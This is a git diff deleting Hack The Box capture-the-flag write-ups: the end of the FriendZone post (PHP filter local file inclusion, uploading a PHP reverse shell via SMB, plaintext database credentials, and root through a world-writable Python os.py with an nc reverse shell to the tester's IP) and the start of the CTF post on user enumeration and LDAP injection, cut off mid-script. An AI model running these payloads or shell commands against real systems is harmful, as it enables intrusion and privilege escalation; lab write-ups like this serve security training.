-Request: `https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=pagename=php://filter/convert.base64-encode/resource=dashboard`
-
-
-
-The base64 encoded text is the source code for `dashboard.php`:
-
-```php
-
Smart photo script for friendzone corp !
";
-//echo "
* Note : we are dealing with a beginner php developer and the application is not tested yet !
";
-}
-?>
-```
-
-The `.php` suffix is added automatically after the filename so I can't arbitrarily read any files. I tried the PHP path truncation technique as well as adding null bytes at the end of string but I was not able to bypass this.
-
-I also dumped the `upload.php` source code and saw that the upload thing is just a troll since it doesn't do anything.
-
-```php
-";
-echo time()+3600;
-}else{
-
-echo "WHAT ARE YOU TRYING TO DO HOOOOOOMAN !";
-
-}
-
-?>
-```
-
-### Getting a shell with PHP
-
-The `Development` share I saw earlier is writable by the guest user so I can upload a PHP reverse shell in there and use the LFI to trigger it. The full path of the share is `/etc/Development` as indicated in the nmap script output.
-
-```
-# smbclient -U "" //10.10.10.123/Development
-Enter HTB\'s password:
-Try "help" to get a list of possible commands.
-smb: \> put shell.php
-putting file shell.php as \shell.php (184.9 kb/s) (average 184.9 kb/s)
-smb: \>
-```
-
-I trigger the shell with the following request: `https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/shell`
-
-```
-# nc -lvnp 5555
-listening on [any] 5555 ...
-connect to [10.10.14.23] from (UNKNOWN) [10.10.10.123] 36974
-Linux FriendZone 4.15.0-36-generic #39-Ubuntu SMP Mon Sep 24 16:19:09 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
- 23:16:59 up 35 min, 0 users, load average: 0.00, 0.00, 0.00
-USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
-uid=33(www-data) gid=33(www-data) groups=33(www-data)
-/bin/sh: 0: can't access tty; job control turned off
-$ python -c 'import pty;pty.spawn("/bin/bash")'
-www-data@FriendZone:/$
-```
-
-Found other credentials in the `/var/www` directory:
-
-```
-www-data@FriendZone:/var/www$ ls -la
-ls -la
-total 36
-drwxr-xr-x 8 root root 4096 Oct 6 15:47 .
-drwxr-xr-x 12 root root 4096 Oct 6 02:07 ..
-drwxr-xr-x 3 root root 4096 Jan 16 22:13 admin
-drwxr-xr-x 4 root root 4096 Oct 6 01:47 friendzone
-drwxr-xr-x 2 root root 4096 Oct 6 01:56 friendzoneportal
-drwxr-xr-x 2 root root 4096 Jan 15 21:08 friendzoneportaladmin
-drwxr-xr-x 3 root root 4096 Oct 6 02:05 html
--rw-r--r-- 1 root root 116 Oct 6 15:47 mysql_data.conf
-drwxr-xr-x 3 root root 4096 Oct 6 01:39 uploads
-www-data@FriendZone:/var/www$ cat mysql_data.conf
-cat mysql_data.conf
-for development process this is the mysql creds for user friend
-
-db_user=friend
-
-db_pass=Agpyu12!0.213$
-
-db_name=FZ
-```
-
-There's a `friend` user in the local passwd database:
-
-```
-www-data@FriendZone:/var/www$ grep friend /etc/passwd
-grep friend /etc/passwd
-friend:x:1000:1000:friend,,,:/home/friend:/bin/bash
-```
-
-I can SSH in with those credentials and grab the `user.txt` flag:
-
-```
-root@ragingunicorn:~/htb/friendzone# ssh friend@10.10.10.123
-Ilcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-36-generic x86_64)
-
- * Documentation: https://help.ubuntu.com
- * Management: https://landscape.canonical.com
- * Support: https://ubuntu.com/advantage
-
-Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
-
-You have mail.
-Last login: Sat Feb 9 23:43:09 2019 from 10.10.14.23
-friend@FriendZone:~$ cat user.txt
-a9ed20...
-```
-
-### Privesc
-
-`/opt/server_admin` contains a `reporter.py` script that probably runs every minutes in a root owned cronjob:
-
-```
-friend@FriendZone:/opt/server_admin$ cat reporter.py
-#!/usr/bin/python
-
-import os
-
-to_address = "admin1@friendzone.com"
-from_address = "admin2@friendzone.com"
-
-print "[+] Trying to send email to %s"%to_address
-
-#command = ''' mailsend -to admin2@friendzone.com -from admin1@friendzone.com -ssl -port 465 -auth -smtp smtp.gmail.co-sub scheduled results email +cc +bc -v -user you -pass "PAPAP"'''
-
-#os.system(command)
-
-# I need to edit the script later
-# Sam ~ python developer
-```
-
-I can confirm it's running in a cronjob by using pspy:
-
-
-
-The script doesn't really do anything except import the standard `os` module.
-
-Looking at the module definition, I see that the permissions are world writable on the one for Python 2.7:
-
-```
-friend@FriendZone:/opt/server_admin$ find /usr -name os.py 2>/dev/null
-/usr/lib/python3.6/os.py
-/usr/lib/python2.7/os.py
-friend@FriendZone:/opt/server_admin$ ls -l /usr/lib/python2.7/os.py
--rwxrwxrwx 1 root root 25910 Jan 15 22:19 /usr/lib/python2.7/os.py
-friend@FriendZone:/opt/server_admin$ ls -l /usr/lib/python3.6/os.py
--rw-r--r-- 1 root root 37526 Sep 12 21:26 /usr/lib/python3.6/os.py
-```
-
-I can modify the `os.py` file and add a reverse shell at the end so when the module is imported by the script it'll execute my reverse shell.
-
-```
-system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.23 5555 >/tmp/f")
-```
-
-A few moments later I get a shell as root:
-
-```
-# nc -lvnp 5555
-listening on [any] 5555 ...
-connect to [10.10.14.23] from (UNKNOWN) [10.10.10.123] 60168
-/bin/sh: 0: can't access tty; job control turned off
-# id
-uid=0(root) gid=0(root) groups=0(root)
-# cat /root/root.txt
-b0e6c6...
-```
\ No newline at end of file
diff --git a/_posts/2019-07-20-htb-writeup-ctf.md b/_posts/2019-07-20-htb-writeup-ctf.md
deleted file mode 100644
index 506a8b1e7a..0000000000
--- a/_posts/2019-07-20-htb-writeup-ctf.md
+++ /dev/null
@@ -1,561 +0,0 @@
----
-layout: single
-title: CTF - Hack The Box
-excerpt: "This time it's a very lean box with no rabbit holes or trolls. The box name does not relate to a Capture the Flag event but rather the Compressed Token Format used by RSA securid tokens. The first part of the box involves some blind LDAP injection used to extract the LDAP schema and obtain the token for one of the user. Then using the token, we are able to generate tokens and issue commands on the box after doing some more LDAP injection. The last part of the token was pretty obscure as it involved abusing the listfile parameter in 7zip to trick it into read the flag from root.txt. I was however not able to get a root shell on this box using this technique."
-date: 2019-07-20
-classes: wide
-header:
- teaser: /assets/images/htb-writeup-ctf/ctf_logo.png
-categories:
- - hackthebox
- - infosec
-tags:
- - secureid
- - injection
- - otp
- - php
- - ldap
- - cronjob
- - 7zip
----
-
-
-
-This time it's a very lean box with no rabbit holes or trolls. The box name does not relate to a Capture the Flag event but rather the Compressed Token Format used by RSA securid tokens. The first part of the box involves some blind LDAP injection used to extract the LDAP schema and obtain the token for one of the user. Then using the token, we are able to generate tokens and issue commands on the box after doing some more LDAP injection. The last part of the token was pretty obscure as it involved abusing the listfile parameter in 7zip to trick it into read the flag from root.txt. I was however not able to get a root shell on this box using this technique.
-
-## Summary
-
-- A hint in the HTML comments of the login page mentions a 81-digit token
-- I can fuzz the usernames on the login page and find that there is a valid user named `ldapuser`
-- An LDAP injection allows me to extract the token from the `pager` LDAP attribute of user `ldapuser`
-- The group membership check on the command execution page can be bypassed by an LDAP injection on the `uid` attribute
-- I get a shell with a simple perl reverse shell command
-- There's a script running every minute that compresses and encrypt all files under `/var/www/html/upload`
-- I can use the `listfile` parameter in 7-zip to force the program to read the `root.txt` file inside the root directory
-
-## Tools/Blogs used
-
-- [RSA SecurID-compatible software token for Linux/UNIX systems](https://github.com/cernekee/stoken)
-
-## Detailed steps
-
-The box doesn't have anything listening other than SSH and Apache:
-
-```
-# nmap -sC -sV -p- 10.10.10.122
-Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-02 19:02 EST
-Nmap scan report for ctf.htb (10.10.10.122)
-Host is up (0.0077s latency).
-Not shown: 65533 filtered ports
-PORT STATE SERVICE VERSION
-22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
-| ssh-hostkey:
-| 2048 fd:ad:f7:cb:dc:42:1e:43:7d:b3:d5:8b:ce:63:b9:0e (RSA)
-| 256 3d:ef:34:5c:e5:17:5e:06:d7:a4:c8:86:ca:e2:df:fb (ECDSA)
-|_ 256 4c:46:e2:16:8a:14:f6:f0:aa:39:6c:97:46:db:b4:40 (ED25519)
-80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)
-| http-methods:
-|_ Potentially risky methods: TRACE
-|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
-|_http-title: CTF
-```
-
-### Quick web enumeration
-
-The box creators have implemented a rate-limit system on the box using fail2ban to prevent people from blindly bruteforcing it (dirbuster, sqlmap, etc.).
-
-
-
-The main page has a link to a status page where I can see if any IP address is currently banned.
-
-
-
-And there's also a login page, which prompts for a username and a One Time Password (OTP)
-
-
-
-Based on the HTML comments of the page, I can see that the token stored on the server contains 81 digits:
-
-
-
-The token is not the password but rather the cryptographic material used to generate the one time passwords. A new password is generated at regular time interval. To generate a matching password, the client must:
-
-- Configure the token software with the same token information (81 digits) as the one on the server
-- The time on the client machine must be the same (or close enough) as the server
-
-The server return an invalid user error message whenever I use an invalid user ID:
-
-
-
-### Username enumeration
-
-To enumerate the users on the system, I use wfuzz with a wordlist. Luckily, the login page doesn't appear to be rate-limited so I can quickly scan through the wordlists. This part took a while though, I had to try various wordlists from seclists since my first picks didn't contain that user.
-
-```
-# wfuzz -c -w /usr/share/seclists/Usernames/Honeypot-Captures/multiplesources-users-fabian-fingerle.de.txt --hs "not found" -d "inputUsername=FUZZ&inputOTP=12345" -u http://ctf.htb/login.php
-
-000003: C=200 68 L 229 W 2810 Ch "!@#"
-000004: C=200 68 L 229 W 2810 Ch "!@#%"
-000005: C=200 68 L 229 W 2810 Ch "!@#%^"
-000006: C=200 68 L 229 W 2810 Ch "!@#%^&"
-000011: C=200 68 L 229 W 2810 Ch "*****"
-000007: C=200 68 L 229 W 2810 Ch "!@#%^&*"
-000066: C=200 68 L 229 W 2810 Ch "123456*a"
-000008: C=200 68 L 229 W 2810 Ch "!@#%^&*("
-000009: C=200 68 L 229 W 2810 Ch "!@#%^&*()"
-005122: C=200 68 L 229 W 2810 Ch "Ch4ng3m3!"
-005724: C=200 68 L 229 W 2810 Ch "*%�Cookie:"
-009378: C=200 68 L 229 W 2810 Ch "!!Huawei"
-011498: C=200 68 L 231 W 2822 Ch "ldapuser" <------
-[...]
-```
-
-Based on the wfuzz output, I notice that some of the characters seem to be blacklisted by the system. Whenever I use the following characters, the page doesn't return any message at all: `! & * () = \ | <> ~ `
-
-The only valid user I found is: `ldapuser`. When I try that user on the login page, I get a `Cannot login` error message instead of `User not found`.
-
-
-
-### Testing for LDAP injection
-
-Now that I have the username, I can guess the next part involves LDAP injection. I can get around the blacklisting of the characters by using double URL encoding: `)` becomes `%2529` instead of `%29`.
-
-I made a quick script to test different payloads. The script URL encodes the payload twice (once with `urllib.quote` and the other one automatically with the `post` method).
-
-```python
-#!/usr/bin/python
-
-import re
-import requests
-import urllib
-
-def main():
- while True:
- cmd = raw_input("> ")
-
- data = {
- "inputUsername": urllib.quote(cmd),
- "inputOTP": "12345",
- }
-
- proxy = {"http": "http://127.0.0.1:8080"}
-
- print("Payload: {}".format(data['inputUsername']))
-
- r = requests.post("http://ctf.htb/login.php", data=data, proxies=proxy)
- m = re.search(r'